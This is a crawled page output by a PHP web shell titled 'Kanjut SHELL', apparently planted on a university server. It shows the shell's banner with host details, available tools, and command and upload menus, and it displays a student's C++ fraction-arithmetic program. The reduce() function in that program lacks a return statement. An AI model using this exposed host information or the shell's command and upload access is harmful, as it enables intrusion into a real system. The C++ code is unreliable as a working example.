Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.231.122
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/snbittner/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/snbittner/fraction1.cpp
// 1/2 + 3/4 = ?
//

#include <iostream> 
using namespace std; 

class Fraction
{	int nume;
	int deno;
	//reduce the fraction
	
	Fraction reduce ()
	{
		int n = nume;
                int d = deno;
                while ( d != 0)
                {
                        int r = n%d;
                        n = d;
                        d = r;
                }

                if ( n != 0)
                {
                        nume /= n;
                        deno /= n;
                }
                if (deno < 0)
                {
                        nume *= (-1);
                        deno *= (-1);
                }
}

public: 
	// 0/1
	Fraction()
	{	nume = 0;
		deno = 1;
	}
	Fraction( int n, int d)
	{	nume = n;
		deno = d;
	}
	// function members
	void Set (int n, int d)
	{	nume = n;
		deno = d;
	}
	void Print() const
	{	cout << nume << "/" << deno;	}
	Fraction operator+(Fraction x)
	{	Fraction ans;		// temporary obj.
		
		ans.nume = nume * x.deno + deno * x.nume;
		ans.deno = deno * x.deno;
		//use the reduce()
		ans.reduce();
		return ans;
	}
	Fraction operator-(Fraction x)
	{	Fraction ans;
		
		ans.nume = nume * x.deno - deno * x.nume;
                ans.deno = deno * x.deno;
                ans.reduce();
		return ans;
	}
	Fraction operator*(Fraction x)
	{	Fraction ans;

		ans.nume = nume * x.nume;
                ans.deno = deno * x.deno;
                ans.reduce();
		return ans;
	}
	Fraction operator/(Fraction x)
        {       Fraction ans;
         
                ans.nume = nume * x.deno;
                ans.deno = deno * x.nume;
                ans.reduce();
		 return ans;
	}
};
int main()
{
	int a1, b1;
	int a2, b2;
	char dummy, op;

while (cin)
{
	cin >> a1 >> dummy >> b1;
	cin >> op;
	cin >> a2 >> dummy >> b2;

	Fraction f1, f2, answ;
	f1.Set(a1, b1);
	f2.Set(a2, b2);

	if( op == '+') answ = f1 + f2;
	if( op == '-') answ = f1 - f2;
	if( op == '*') answ = f1 * f2;
	if( op == '/') answ = f1 / f2;


	f1.Print();
	cout << " " << op << "  ";
	f2.Print(); 
      	cout << " = ";
	answ.Print();
	cout << "\n";
}
	return 0;
}

Stv3n404 - 2023